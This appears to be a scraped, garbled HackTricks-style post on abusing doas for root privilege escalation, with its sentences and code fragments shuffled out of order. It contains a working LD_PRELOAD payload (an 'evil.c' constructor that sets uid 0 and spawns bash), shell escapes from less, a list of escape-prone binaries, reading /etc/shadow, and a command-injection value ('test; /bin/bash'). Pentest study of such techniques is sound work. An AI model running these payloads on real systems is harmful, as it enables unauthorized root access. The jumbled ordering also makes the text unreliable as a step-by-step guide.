Hacktricks - Doas

// evil.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() setuid(0); setgid(0); system("/bin/bash");

doas -n id # uid=0(root) gid=0(root) Escalate:

permit nopass user1 as root Check:

If you’ve spent any time on BSD or modern Linux systems (like Alpine), you’ve probably seen doas lurking in the shadows. It’s the leaner, meaner cousin of sudo — simpler config, fewer CVEs, and still dangerous if misconfigured. hacktricks doas

permit user1 as root cmd /usr/bin/less doas less /etc/hosts # then type: !/bin/bash Known binaries for escapes: less , more , vi , vim , nano , awk , find , man , git , tmux , screen , ftp , irb , lua , perl , python , ruby , scp , tar . If keepenv is set, doas keeps LD_PRELOAD , LD_LIBRARY_PATH , PYTHONPATH , etc.

doas -s # or doas /bin/sh If the config allows a wildcard path, you might inject arguments.

— HackTricks Want more? Check out the HackTricks Linux Privilege Escalation guide for deeper dives. // evil

./script.sh "test; /bin/bash" permit persist user1 as root Once you run doas -n id with password once, subsequent commands don’t need a password for a few minutes.

permit keepenv user1 as root Compile a malicious lib:

In this post, we’ll break down how doas works, where to find it, and how to abuse it for privilege escalation during a pentest. doas was originally from OpenBSD. It allows users to execute commands as another user (usually root) with a minimal configuration file: /etc/doas.conf If keepenv is set, doas keeps LD_PRELOAD ,

doas /usr/bin/less /etc/shadow # inside less: !/bin/sh Or Python bypass:

gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so doas -n id If doas is called with unsanitized user input in a script.